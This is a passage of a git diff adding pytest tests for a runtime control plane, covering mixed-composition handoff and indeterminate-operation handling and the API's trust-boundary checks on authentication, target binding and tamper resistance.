idempotency_key="accept-partial-cut", + identity=actor, + ) + plane._store.load_snapshot().participant_crossing_history["participant.behavior.unrelated"] = [{}] + target = create_stub_target(with_participant_runtime=False) + resolver = permit_resolver() + with pytest.raises(ValueError): + RuntimeControlPlane( + target, + mixed_runtime=plane._mixed_runtime, + crossing_policy_resolver=resolver, + run_scope=f"run:{run_id}", + store=plane._store, + ) + + +def test_valid_mixed_crossing_cannot_clear_missing_stages_by_generic_resolution() -> None: + plane, run_id, _, _, _ = _executable_edge_plane(deliver=False, observe=False, execution_status="partial") + receipt = plane.admit_participant_action( + behavior(), admission_request(), identity=identity(), crossing_evidence=evidence(), idempotency_key="partial" + ) + assert plane.get_operation(receipt.operation_id, identity=identity()).state is OperationState.INDETERMINATE + assert plane.snapshot.participant_crossing_history[PARTICIPANT] + assert plane.snapshot.mixed_composition_history[run_id][-1]["event_kind"] == "weakening" + validate_persisted_crossing_history(plane.snapshot, plane._crossing_policy_resolver) + + actor = identity() + with pytest.raises(ValueError, match="mixed stage reconciliation is required"): + plane.resolve_indeterminate_operation( + receipt.operation_id, + disposition=IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + idempotency_key="accept-partial", + identity=actor, + ) + assert control_plane_readiness(plane).to_payload()["status"] == "unready" + parent = plane._store.load_records()[receipt.operation_id] + child_context = parent.status.context.model_copy( + update={ + "operation_kind": OperationKind.INDETERMINATE_RESOLUTION, + "parent_operation_id": receipt.operation_id, + "authorization_scope": tuple(dict.fromkeys([*parent.status.context.authorization_scope, "role:operator"])), + } + ) + child = replace( + parent, + receipt=replace(parent.receipt, operation_id="historical-resolution", context=child_context), + status=replace( + parent.status, + operation_id="historical-resolution", + state=OperationState.SUCCEEDED, + context=child_context, + diagnostics=[], + ), + idempotency_key="historical-resolution", + result_payload={"resolution_disposition": IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT.value}, + ) + assert receipt.operation_id in unresolved_indeterminate_operation_ids_from_records( + {receipt.operation_id: parent, "historical-resolution": child} + ) + history = plane._store.load_snapshot().participant_crossing_history[PARTICIPANT] + history.append({**history[-1], "event_id": "crossing-occurrence.decided.unrelated"}) + target = create_stub_target(with_participant_runtime=False) + resolver = permit_resolver() + with pytest.raises(ValueError, match="crossing result head differs"): + RuntimeControlPlane( + target, + mixed_runtime=plane._mixed_runtime, + crossing_policy_resolver=resolver, + run_scope=f"run:{run_id}", + store=plane._store, + ) + + +def test_handoff_refuses_time_readback_outside_the_stored_cut() -> None: + binding, run_id, _ = _admitted_binding(_runtime_staged_profile) + invoked: list[str] = [] + installed = binding.handoff_bindings["transition.sim-to-emu"] + + def coordinate(*_args): + invoked.append("coordinate") + return {} + + changed = replace(installed, coordinate=coordinate) + binding = replace(binding, handoff_bindings={changed.transition_id: changed}) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + + receipt = plane.advance_mixed_composition( + "transition.sim-to-emu", identity=identity(), idempotency_key="mismatched-time-cut" + ) + + assert invoked == [] + assert plane.get_operation(receipt.operation_id, identity=identity()).state is OperationState.FAILED + assert plane.snapshot.mixed_composition_states[run_id]["phase_id"] == "phase.sim" + + +@pytest.mark.parametrize("mutator", ["evaluator", "pre-time", "invoke", "readback", "post-time"]) +def test_native_handoff_callbacks_cannot_mutate_authoritative_snapshot(mutator) -> None: + binding, run_id, _ = _admitted_binding(_runtime_staged_profile) + initial_snapshot = _staged_time_snapshot(binding) + transition = binding.profile.transitions["transition.sim-to-emu"] + installed = binding.handoff_bindings[transition.transition_id] + evaluator = binding.transition_evaluators[transition.evaluator_ref] + + def changed_evaluator(admitted, state, snapshot): + snapshot.metadata["forged-by-handoff"] = mutator + return evaluator(admitted, state, snapshot) + + def changed_invoke(operation_id, admitted, state, snapshot): + snapshot.metadata["forged-by-handoff"] = mutator + return installed.invoke(operation_id, admitted, state, snapshot) + + def changed_readback(operation_id, snapshot): + snapshot.metadata["forged-by-handoff"] = mutator + return installed.readback(operation_id, snapshot) + + class ChangedTimeRuntime: + def __init__(self): + self.calls = 0 + + def state(self, snapshot): + self.calls += 1 + if (mutator == "pre-time" and self.calls == 1) or (mutator == "post-time" and self.calls == 2): + snapshot.metadata["forged-by-handoff"] = mutator + return installed.time_runtime.state(snapshot) + + if mutator == "evaluator": + binding = replace(binding, transition_evaluators={transition.evaluator_ref: changed_evaluator}) + else: + changed = replace( + installed, + invoke=changed_invoke if mutator == "invoke" else installed.invoke, + readback=changed_readback if mutator == "readback" else installed.readback, + time_runtime=ChangedTimeRuntime() if mutator in {"pre-time", "post-time"} else installed.time_runtime, + ) + binding = replace(binding, handoff_bindings={transition.transition_id: changed}) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + initial_snapshot=initial_snapshot, + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + + receipt = plane.advance_mixed_composition( + transition.transition_id, identity=identity(), idempotency_key=f"mutating-{mutator}" + ) + + assert plane.get_operation(receipt.operation_id, identity=identity()).state is OperationState.SUCCEEDED + assert "forged-by-handoff" not in plane.snapshot.metadata + assert "forged-by-handoff" not in plane._store.load_snapshot().metadata + + +def test_interrupted_native_handoff_retains_uncertain_owner_on_restart() -> None: + class Interrupted(BaseException): + pass + + binding, run_id, runtimes = _admitted_binding(_runtime_staged_profile) + installed = binding.handoff_bindings["transition.sim-to-emu"] + old_invoke = installed.invoke + + def interrupted_invoke(operation_id, transition, state, snapshot): + old_invoke(operation_id, transition, state, snapshot) + raise Interrupted + + changed = replace(installed, invoke=interrupted_invoke) + binding = replace(binding, handoff_bindings={changed.transition_id: changed}) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + initial_snapshot=_staged_time_snapshot(binding), + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1", identity=identity()) + + actor = identity() + with pytest.raises(Interrupted): + plane.advance_mixed_composition("transition.sim-to-emu", identity=actor, idempotency_key="crashed-handoff") + pending = next( + record for record in plane._store.load_records().values() if record.idempotency_key == "crashed-handoff" + ) + assert pending.status.state is OperationState.RUNNING + + restarted = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + store=plane._store, + ) + assert ( + restarted.get_operation(pending.receipt.operation_id, identity=identity()).state is OperationState.INDETERMINATE + ) + assert restarted.snapshot.mixed_composition_states[run_id]["phase_id"] == "phase.sim" + assert control_plane_readiness(restarted).to_payload()["status"] == "unready" + actor = identity() + with pytest.raises(ValueError, match="mixed stage reconciliation is required"): + restarted.resolve_indeterminate_operation( + pending.receipt.operation_id, + disposition=IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + idempotency_key="accept-handoff", + identity=actor, + ) + action, admission, actor, crossing = behavior(), admission_request(), identity(), evidence() + with pytest.raises(RuntimeError, match="indeterminate operation requires resolution"): + restarted.admit_participant_action( + action, + admission, + identity=actor, + crossing_evidence=crossing, + idempotency_key="old-owner", + ) + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + + +def test_native_handoff_retains_confirmed_transfer_evidence_when_readback_fails() -> None: + binding, run_id, _ = _admitted_binding(_runtime_staged_profile) + installed = binding.handoff_bindings["transition.sim-to-emu"] + + def invoke(operation_id, transition, state, snapshot): + report = installed.invoke(operation_id, transition, state, snapshot) + return {**report, "evidence_refs": [*report["evidence_refs"], "evidence:native-transfer"]} + + def failed_readback(_operation_id, _snapshot): + raise RuntimeError("owner readback unavailable") + + changed = replace(installed, invoke=invoke, readback=failed_readback) + binding = replace(binding, handoff_bindings={changed.transition_id: changed}) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + initial_snapshot=_staged_time_snapshot(binding), + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + + receipt = plane.advance_mixed_composition( + "transition.sim-to-emu", identity=identity(), idempotency_key="lost-owner-readback" + ) + + assert plane.get_operation(receipt.operation_id, identity=identity()).state is OperationState.INDETERMINATE + failure = plane.snapshot.mixed_composition_history[run_id][-1] + assert failure["event_kind"] == "failure" + assert {"evidence:handoff-mapping", "evidence:native-transfer"}.issubset(failure["evidence_refs"]) + + +def test_translated_action_outside_the_admitted_policy_cut_refuses_before_provider() -> None: + plane, _, runtimes, calls, _ = _executable_edge_plane( + destination_action_address="participant.action-contract.unadmitted" + ) + + action, admission, actor, crossing = behavior(), admission_request(), identity(), evidence() + with pytest.raises(ValueError, match="destination action differs from admitted policy"): + plane.admit_participant_action( + action, + admission, + identity=actor, + crossing_evidence=crossing, + idempotency_key="unadmitted-translation", + ) + + assert calls == [] + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + + +def test_staged_membership_change_needs_an_executable_handoff() -> None: + prepared, run_id, _ = _admitted_binding(_runtime_staged_profile) + binding = replace(prepared, handoff_bindings={}) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + initial_snapshot=_staged_time_snapshot(prepared), + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + + receipt = plane.advance_mixed_composition( + "transition.sim-to-emu", identity=identity(), idempotency_key="unbound-handoff" + ) + + assert plane.snapshot.mixed_composition_states[run_id]["phase_id"] == "phase.sim" + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "failed" + assert "handoff" not in [event["event_kind"] for event in plane.snapshot.mixed_composition_history[run_id]] + + +@pytest.mark.parametrize("readback_operation_matches", [True, False]) +def test_evidenced_staged_handoff_commits_after_native_readback(readback_operation_matches) -> None: + original, run_id, _ = _admitted_binding(_runtime_staged_profile) + calls: list[str] = [] + installed = original.handoff_bindings["transition.sim-to-emu"] + owner = {"component": "sim", "revision": 0} + + def coordinate(operation_id, transition, state): + calls.append("time-coordinate") + report = installed.coordinate(operation_id, transition, state) + return {**report, "order_ref": "order:native-transfer"} + + def invoke(operation_id, transition, state, _snapshot): + calls.append("invoke") + owner.update(component="emu", revision=1) + return { + "operation_id": operation_id, + "transition_id": transition.transition_id, + "source_component_id": "sim", + "destination_component_id": "emu", + "predecessor_history_head": state.history_head, + "phase_revision": state.phase_revision, + "status": "committed", + "order_ref": "order:native-transfer", + "evidence_refs": ["evidence:phase-realization", "evidence:native-transfer"], + } + + def readback(operation_id, _snapshot): + calls.append("readback") + return { + "operation_id": operation_id if readback_operation_matches else "unrelated-operation", + "owner_component_id": owner["component"], + "owner_ref": original.profile.components[owner["component"]].native_ownership_ref, + "phase_revision": owner["revision"], + "evidence_refs": ["evidence:native-owner-readback"], + } + + binding = replace( + original, + handoff_bindings={ + "transition.sim-to-emu": replace( + installed, + coordinate=coordinate, + invoke=invoke, + readback=readback, + ) + }, + ) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + initial_snapshot=_staged_time_snapshot(original), + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + + receipt = plane.advance_mixed_composition( + "transition.sim-to-emu", identity=identity(), idempotency_key="evidenced-handoff" + ) + + assert calls == ["time-coordinate", "invoke", "readback"] + if readback_operation_matches: + assert plane.snapshot.mixed_composition_states[run_id]["phase_id"] == "phase.emu" + assert plane.snapshot.mixed_composition_history[run_id][-1]["event_kind"] == "handoff" + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "succeeded" + else: + assert plane.snapshot.mixed_composition_states[run_id]["phase_id"] == "phase.sim" + assert plane.snapshot.mixed_composition_history[run_id][-1]["event_kind"] == "failure" + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == "indeterminate" + + +@pytest.mark.parametrize( + ("handoff_status", "terminal_state"), + [("pending", "indeterminate"), ("failed", "failed"), ("stale", "failed")], +) +def test_uncommitted_handoff_retains_prior_phase_and_classifies_outcome(handoff_status, terminal_state) -> None: + original, run_id, runtimes = _admitted_binding(_runtime_staged_profile) + installed = original.handoff_bindings["transition.sim-to-emu"] + + def uncommitted(operation_id, transition, state, _snapshot): + return { + "operation_id": operation_id, + "transition_id": transition.transition_id, + "source_component_id": "sim", + "destination_component_id": "emu", + "predecessor_history_head": state.history_head, + "phase_revision": state.phase_revision, + "status": handoff_status, + "order_ref": f"order:native:{operation_id}", + "evidence_refs": ["evidence:phase-realization"], + } + + def old_owner(operation_id, _snapshot): + return { + "operation_id": operation_id, + "owner_component_id": "sim", + "owner_ref": original.profile.components["sim"].native_ownership_ref, + "phase_revision": 0, + "evidence_refs": ["evidence:old-owner-readback"], + } + + binding = replace( + original, + handoff_bindings={ + "transition.sim-to-emu": replace( + installed, + invoke=uncommitted, + readback=old_owner, + ) + }, + ) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + initial_snapshot=_staged_time_snapshot(original), + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1", identity=identity()) + + receipt = plane.advance_mixed_composition( + "transition.sim-to-emu", identity=identity(), idempotency_key="pending-handoff" + ) + + assert plane.get_operation(receipt.operation_id, identity=identity()).state.value == terminal_state + assert plane.snapshot.mixed_composition_states[run_id]["phase_id"] == "phase.sim" + failure = plane.snapshot.mixed_composition_history[run_id][-1] + assert failure["event_kind"] == "failure" + assert {"evidence:handoff-mapping", "evidence:phase-realization", "evidence:old-owner-readback"}.issubset( + failure["evidence_refs"] + ) + if terminal_state == "indeterminate": + action, admission, actor, crossing = behavior(), admission_request(), identity(), evidence() + with pytest.raises(RuntimeError, match="indeterminate operation requires resolution"): + plane.admit_participant_action( + action, + admission, + identity=actor, + crossing_evidence=crossing, + idempotency_key="after-pending", + ) + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + else: + retry = plane.admit_participant_action( + behavior(), + admission_request(), + identity=identity(), + crossing_evidence=evidence(), + idempotency_key="old-owner", + ) + assert plane.get_operation(retry.operation_id, identity=identity()).state.value == "succeeded" + assert runtimes["sim"].admission_count == 1 diff --git a/implementations/python/tests/test_issue_1359_runtime_api_trust_boundary.py b/implementations/python/tests/test_issue_1359_runtime_api_trust_boundary.py new file mode 100644 index 000000000..9bb372785 --- /dev/null +++ b/implementations/python/tests/test_issue_1359_runtime_api_trust_boundary.py @@ -0,0 +1,887 @@ +"""Served control-plane trust-boundary enforcement (issue #1359, API-404-C3). + +The accepted exposure model is host-mediated, administrative-only P2 (#1356). +Every route that reveals runtime state or causes an effect admits only a +privileged, target-bound service identity. Participant/audience and +participant/controller bindings narrow a core operation after that admission; +they never make a credential participant-limited. These tests drive the real +ASGI boundary rather than the auth helpers. +""" + +from __future__ import annotations + +from collections.abc import Callable +from typing import Any + +import pytest +from fastapi import FastAPI +from participant_crossing_fixtures import ( + AUDIENCE, + PARTICIPANT, + StaticCrossingResolver, + action_plane, + evidence, + policy_capable_target, +) +from raes_backend_stubs.stubs import create_stub_target +from raes_runtime import control_plane_api +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_api import create_control_plane_app +from raes_runtime.control_plane_api._auth import ( + _administrative_read_dependency, + _AdministrativeMutationIdentity, + _AdministrativeReadIdentity, + _PublicProbe, +) +from raes_runtime.control_plane_security import ( + ControlPlaneIdentity, + ControlPlaneRole, + ControlPlaneRouteAuthority, + ControlPlaneSecurityConfig, + ParticipantAudienceSubjectBinding, + ParticipantControlSubjectBinding, +) +from starlette.responses import PlainTextResponse +from starlette.routing import Mount +from starlette.testclient import TestClient +from test_run_310_supervisory_lifecycle import ( + _PARTICIPANT as _CONTROLLED_PARTICIPANT, +) +from test_run_310_supervisory_lifecycle import ( + _SPEC_ADDRESS, + _compiled_specification, + _proposal_body, +) + +pytestmark = pytest.mark.control_plane_conformance + +_TARGET = "stub" +_ALICE = "participant.alice" +_NO_STORE = "no-store" +_PUBLIC = ControlPlaneRouteAuthority.PUBLIC_PROBE +_READ = ControlPlaneRouteAuthority.ADMINISTRATIVE_READ +_MUTATE = ControlPlaneRouteAuthority.ADMINISTRATIVE_MUTATION +_RESOLVE = ControlPlaneRouteAuthority.OPERATOR_RESOLUTION + +# The accepted route/authority matrix. A route added without updating this +# table fails the inventory test; a route added without a transport authority +# fails app construction. +_EXPECTED_ROUTE_AUTHORITY = { + ("GET", "/health/live"): _PUBLIC, + ("GET", "/health/ready"): _PUBLIC, + ("POST", "/operations/provisioning"): _MUTATE, + ("POST", "/operations/orchestration"): _MUTATE, + ("POST", "/operations/evaluation"): _MUTATE, + ("POST", "/operations/{operation_id}/resolution"): _RESOLVE, + ("GET", "/operations/{operation_id}"): _READ, + ("GET", "/snapshot"): _READ, + ("GET", "/apparatus/operational-summary"): _READ, + ("POST", "/workflows/{workflow_address}/cancel"): _MUTATE, + ("POST", "/workflows/reconcile-timeouts"): _MUTATE, + ("POST", "/participants/{participant_address}/episodes/initialize"): _MUTATE, + ("POST", "/participants/{participant_address}/episodes/reset"): _MUTATE, + ("POST", "/participants/{participant_address}/episodes/restart"): _MUTATE, + ("POST", "/participants/{participant_address}/episodes/terminate"): _MUTATE, + ("POST", "/participants/{participant_address}/control-occurrences"): _MUTATE, + ("POST", "/participant-executions/{execution_scope_ref}/control"): _MUTATE, + ("GET", "/participant-executions/{execution_scope_ref}"): _READ, + ("GET", "/participants/{participant_address}/status"): _READ, + ("GET", "/participants/{participant_address}/episodes/{episode_id}/history"): _READ, + ("GET", "/participants/{participant_address}/context"): _READ, +} + +# One concrete request per authenticated route: (method, template, path, json). +_ROUTE_REQUESTS: tuple[tuple[str, str, str, object], ...] = ( + ( + "POST", + "/operations/provisioning", + "/operations/provisioning", + {"operations": [], "diagnostics": [], "realization_authority": []}, + ), + ( + "POST", + "/operations/orchestration", + "/operations/orchestration", + {"operations": [], "startup_order": [], "diagnostics": []}, + ), + ("POST", "/operations/evaluation", "/operations/evaluation", {"operations": [], "diagnostics": []}), + ("POST", "/operations/{operation_id}/resolution", "/operations/op-unknown/resolution", {}), + ("GET", "/operations/{operation_id}", "/operations/op-unknown", None), + ("GET", "/snapshot", "/snapshot", None), + ("GET", "/apparatus/operational-summary", "/apparatus/operational-summary", None), + ("POST", "/workflows/{workflow_address}/cancel", "/workflows/workflow.unknown/cancel", {}), + ("POST", "/workflows/reconcile-timeouts", "/workflows/reconcile-timeouts", None), + ( + "POST", + "/participants/{participant_address}/episodes/initialize", + f"/participants/{_ALICE}/episodes/initialize", + {}, + ), + ("POST", "/participants/{participant_address}/episodes/reset", f"/participants/{_ALICE}/episodes/reset", {}), + ( + "POST", + "/participants/{participant_address}/episodes/restart", + f"/participants/{_ALICE}/episodes/restart", + {}, + ), + ( + "POST", + "/participants/{participant_address}/episodes/terminate", + f"/participants/{_ALICE}/episodes/terminate", + {}, + ), + ( + "POST", + "/participants/{participant_address}/control-occurrences", + f"/participants/{_ALICE}/control-occurrences", + {}, + ), + ( + "POST", + "/participant-executions/{execution_scope_ref}/control", + "/participant-executions/execution.unknown/control", + {}, + ), + ("GET", "/participant-executions/{execution_scope_ref}", "/participant-executions/execution.unknown", None), + ("GET", "/participants/{participant_address}/status", f"/participants/{_ALICE}/status", None), + ( + "GET", + "/participants/{participant_address}/episodes/{episode_id}/history", + f"/participants/{_ALICE}/episodes/episode-1/history", + None, + ), + ( + "GET", + "/participants/{participant_address}/context", + f"/participants/{_ALICE}/context?view_ref=view.alice", + None, + ), +) + +_ALICE_AUDIENCE = ParticipantAudienceSubjectBinding(participant_address=_ALICE, audience_scope_ref=AUDIENCE) +_ALICE_CONTROL = ParticipantControlSubjectBinding(participant_address=_ALICE, controller_ref="controller.alice") + + +def _identity(name: str, *roles: ControlPlaneRole, target_name: str = _TARGET, **bindings: Any) -> ControlPlaneIdentity: + return ControlPlaneIdentity(identity=name, roles=frozenset(roles), target_name=target_name, **bindings) + + +_TOKENS = { + "backend-token": _identity("backend", ControlPlaneRole.BACKEND), + "operator-token": _identity("operator", ControlPlaneRole.OPERATOR), + "auditor-token": _identity("auditor", ControlPlaneRole.AUDITOR), + # A read role plus an audience binding is still broad administrative authority. + "audience-reader-token": _identity( + "audience-reader", + ControlPlaneRole.AUDITOR, + participant_audience_subjects=(_ALICE_AUDIENCE,), + ), + # The would-be "participant-limited" credential: bindings, no route role. + "participant-limited-token": _identity( + "participant-limited", + participant_audience_subjects=(_ALICE_AUDIENCE,), + participant_control_subjects=(_ALICE_CONTROL,), + ), + "other-target-token": _identity( + "other-target", + ControlPlaneRole.BACKEND, + ControlPlaneRole.OPERATOR, + ControlPlaneRole.AUDITOR, + target_name="another-target", + ), +} +_ADMITTED_TOKEN = {_READ: "audience-reader-token", _MUTATE: "backend-token", _RESOLVE: "operator-token"} +_DENIED_ROLE_TOKENS = { + _READ: (), + _MUTATE: ("auditor-token",), + _RESOLVE: ("backend-token", "auditor-token"), +} + + +def _bearer(token: str) -> dict[str, str]: + return {"authorization": f"Bearer {token}"} + + +def _stub_app(**security_overrides: Any) -> tuple[FastAPI, RuntimeControlPlane]: + control_plane = RuntimeControlPlane(create_stub_target()) + security = ControlPlaneSecurityConfig(bearer_tokens=_TOKENS, **security_overrides) + return create_control_plane_app(control_plane, security=security), control_plane + + +def _send(client: TestClient, method: str, path: str, body: object, headers: dict[str, str]) -> Any: + if body is None: + return client.request(method, path, headers=headers) + return client.request(method, path, json=body, headers=headers) + + +def _route_requests(*authorities: ControlPlaneRouteAuthority) -> list[Any]: + return [ + pytest.param(method, template, path, body, id=f"{method} {template}") + for method, template, path, body in _ROUTE_REQUESTS + if _EXPECTED_ROUTE_AUTHORITY[(method, template)] in authorities + ] + + +# --- route inventory ------------------------------------------------------- + + +def test_every_served_route_declares_the_accepted_transport_authority() -> None: + app, _control_plane = _stub_app() + + assert dict(app.state.control_plane_route_authority) == _EXPECTED_ROUTE_AUTHORITY + with pytest.raises(TypeError): + app.state.control_plane_route_authority[("GET", "/rogue")] = _PUBLIC + + +def test_route_request_table_exercises_every_authenticated_route() -> None: + covered = {(method, template) for method, template, _path, _body in _ROUTE_REQUESTS} + authenticated = {key for key, authority in _EXPECTED_ROUTE_AUTHORITY.items() if authority is not _PUBLIC} + + assert covered == authenticated + + +def _with_extra_route(register: Callable[[FastAPI], None]) -> Callable[..., None]: + incumbent = control_plane_api._register_workflow_routes + + def registrar(app: FastAPI, control_plane: RuntimeControlPlane) -> None: + incumbent(app, control_plane) + register(app) + + return registrar + + +def _unauthenticated_event_route(app: FastAPI) -> None: + @app.get("/events") + async def events() -> dict[str, str]: + return {"state": "leaked"} + + +def _double_authority_route(app: FastAPI) -> None: + @app.post("/operations/inject") + async def inject(reader: _AdministrativeReadIdentity, writer: _AdministrativeMutationIdentity) -> None: + del reader, writer + + +def _public_mutation_route(app: FastAPI) -> None: + @app.post("/inject", dependencies=[_PublicProbe]) + async def inject() -> None: + return None + + +def _shadowing_route(app: FastAPI) -> None: + @app.get("/snapshot", dependencies=[_PublicProbe]) + async def public_snapshot() -> dict[str, str]: + return {"state": "leaked"} + + +def _read_authority_mutation_route(app: FastAPI) -> None: + # An auditor holds the read authority; it must never reach a state change. + @app.post("/operations/inject") + async def inject(reader: _AdministrativeReadIdentity) -> None: + del reader + + +def _mutation_authority_safe_method_route(app: FastAPI) -> None: + @app.get("/operations/inject") + async def inject(writer: _AdministrativeMutationIdentity) -> None: + del writer + + +def _mounted_route(app: FastAPI) -> None: + app.router.routes.append(Mount("/export", routes=[])) + + +def _starlette_route(app: FastAPI) -> None: + app.add_route("/raw", lambda _request: PlainTextResponse("raw")) + + +@pytest.mark.parametrize( + "register", + [ + pytest.param(_unauthenticated_event_route, id="no-authority"), + pytest.param(_double_authority_route, id="two-authorities"), + pytest.param(_public_mutation_route, id="public-mutation"), + pytest.param(_read_authority_mutation_route, id="read-authority-mutation"), + pytest.param(_mutation_authority_safe_method_route, id="mutation-authority-get"), + pytest.param(_shadowing_route, id="duplicate-route"), + pytest.param(_mounted_route, id="mount"), + pytest.param(_starlette_route, id="undeclared-framework-route"), + ], +) +def test_app_construction_fails_closed_for_undeclared_route_authority( + monkeypatch: pytest.MonkeyPatch, + register: Callable[[FastAPI], None], +) -> None: + monkeypatch.setattr(control_plane_api, "_register_workflow_routes", _with_extra_route(register)) + control_plane = RuntimeControlPlane(create_stub_target()) + + with pytest.raises(ValueError, match="transport authority"): + create_control_plane_app(control_plane) + + +def _late_route(app: FastAPI) -> None: + @app.get("/late") + async def late() -> dict[str, str]: + return {"state": "leaked"} + + +def _late_middleware(app: FastAPI) -> None: + @app.middleware("http") + async def late(request: Any, call_next: Any) -> Any: + if request.url.path == "/late": + return PlainTextResponse("leaked") + return await call_next(request) + + +def _late_exception_handler(app: FastAPI) -> None: + app.add_exception_handler(403, lambda _request, _exc: PlainTextResponse("leaked", status_code=200)) + + +def _late_dependency_override(app: FastAPI) -> None: + app.dependency_overrides[_administrative_read_dependency] = lambda: _TOKENS["auditor-token"] + + +_LATE_COMPOSITION = [ + pytest.param(_late_route, id="route"), + pytest.param(_late_middleware, id="middleware"), + pytest.param(_late_exception_handler, id="exception-handler"), + pytest.param(_late_dependency_override, id="dependency-override"), +] + + +@pytest.mark.parametrize("tamper", _LATE_COMPOSITION) +def test_app_composition_changed_after_construction_is_never_served(tamper: Callable[[FastAPI], None]) -> None: + app, _control_plane = _stub_app() + tamper(app) + client = TestClient(app, raise_server_exceptions=False) + + responses = [ + client.get("/late"), + client.get("/snapshot"), + client.get("/snapshot", headers=_bearer("auditor-token")), + ] + + for response in responses: + assert response.status_code == 500 + assert response.json() == {"detail": "internal server error"} + assert response.headers["cache-control"] == _NO_STORE + assert ("GET", "/late") not in app.state.control_plane_route_authority + + +@pytest.mark.parametrize("tamper", _LATE_COMPOSITION) +def test_app_composition_changed_after_construction_fails_startup(tamper: Callable[[FastAPI], None]) -> None: + app, _control_plane = _stub_app() + tamper(app) + client = TestClient(app) + + with pytest.raises(RuntimeError), client: + pass + + +@pytest.mark.parametrize("tamper", [_late_route, _late_dependency_override], ids=["route", "dependency-override"]) +def test_running_app_refuses_requests_after_its_composition_changes(tamper: Callable[[FastAPI], None]) -> None: + app, _control_plane = _stub_app() + + with TestClient(app, raise_server_exceptions=False) as client: + assert client.get("/snapshot", headers=_bearer("auditor-token")).status_code == 200 + tamper(app) + late = client.get("/late") + unauthenticated = client.get("/snapshot") + + for response in (late, unauthenticated): + assert response.status_code == 500 + assert response.headers["cache-control"] == _NO_STORE + + +# --- transport admission on every authenticated route ----------------------- + + +@pytest.mark.parametrize(("method", "template", "path", "body"), _route_requests(_READ, _MUTATE, _RESOLVE)) +def test_authenticated_routes_reject_unauthenticated_callers( + method: str, template: str, path: str, body: object +) -> None: + app, _control_plane = _stub_app() + + with TestClient(app) as client: + response = _send(client, method, path, body, {}) + + assert response.status_code == 401 + assert response.headers["cache-control"] == _NO_STORE + + +@pytest.mark.parametrize( + "headers", + [ + pytest.param(_bearer("revoked-token"), id="invalid-bearer"), + pytest.param({"x-raes-client-identity": "backend-token", "x-raes-client-verified": "true"}, id="proxy-headers"), + pytest.param({}, id="no-credential"), + ], +) +def test_unauthenticated_refusals_do_not_reveal_the_reason(headers: dict[str, str]) -> None: + app, control_plane = _stub_app() + + with TestClient(app) as client: + response = client.get("/snapshot", headers=headers) + audited_reason = control_plane.audit_log()[-1].reason + + assert response.status_code == 401 + assert response.json() == {"detail": "unauthorized"} + assert audited_reason != "unauthorized" + + +@pytest.mark.parametrize(("method", "template", "path", "body"), _route_requests(_MUTATE, _RESOLVE)) +def test_malformed_bodies_are_refused_by_admission_before_validation( + method: str, template: str, path: str, body: object +) -> None: + del template, body + app, _control_plane = _stub_app() + malformed = {"content-type": "application/json"} + + with TestClient(app) as client: + anonymous = client.request(method, path, content=b"{not-json", headers=malformed) + other_target = client.request( + method, path, content=b"{not-json", headers={**malformed, **_bearer("other-target-token")} + ) + + assert anonymous.status_code == 401 + assert anonymous.json() == {"detail": "unauthorized"} + assert other_target.status_code == 403 + assert other_target.json() == {"detail": "forbidden"} + assert anonymous.headers["cache-control"] == other_target.headers["cache-control"] == _NO_STORE + + +@pytest.mark.parametrize(("method", "template", "path", "body"), _route_requests(_READ, _MUTATE, _RESOLVE)) +def test_authenticated_routes_reject_identities_bound_to_another_target( + method: str, template: str, path: str, body: object +) -> None: + app, _control_plane = _stub_app() + + with TestClient(app) as client: + response = _send(client, method, path, body, _bearer("other-target-token")) + + assert response.status_code == 403 + assert response.json() == {"detail": "forbidden"} + + +@pytest.mark.parametrize(("method", "template", "path", "body"), _route_requests(_READ, _MUTATE, _RESOLVE)) +def test_participant_bound_identity_without_route_role_is_refused_everywhere( + method: str, template: str, path: str, body: object +) -> None: + app, control_plane = _stub_app() + + with TestClient(app) as client: + response = _send(client, method, path, body, _bearer("participant-limited-token")) + episodes = control_plane.snapshot.participant_episode_results + + assert response.status_code == 403 + assert response.json() == {"detail": "forbidden"} + assert response.headers["cache-control"] == _NO_STORE + assert not episodes + + +@pytest.mark.parametrize(("method", "template", "path", "body"), _route_requests(_MUTATE, _RESOLVE)) +def test_routes_refuse_roles_outside_their_transport_authority( + method: str, 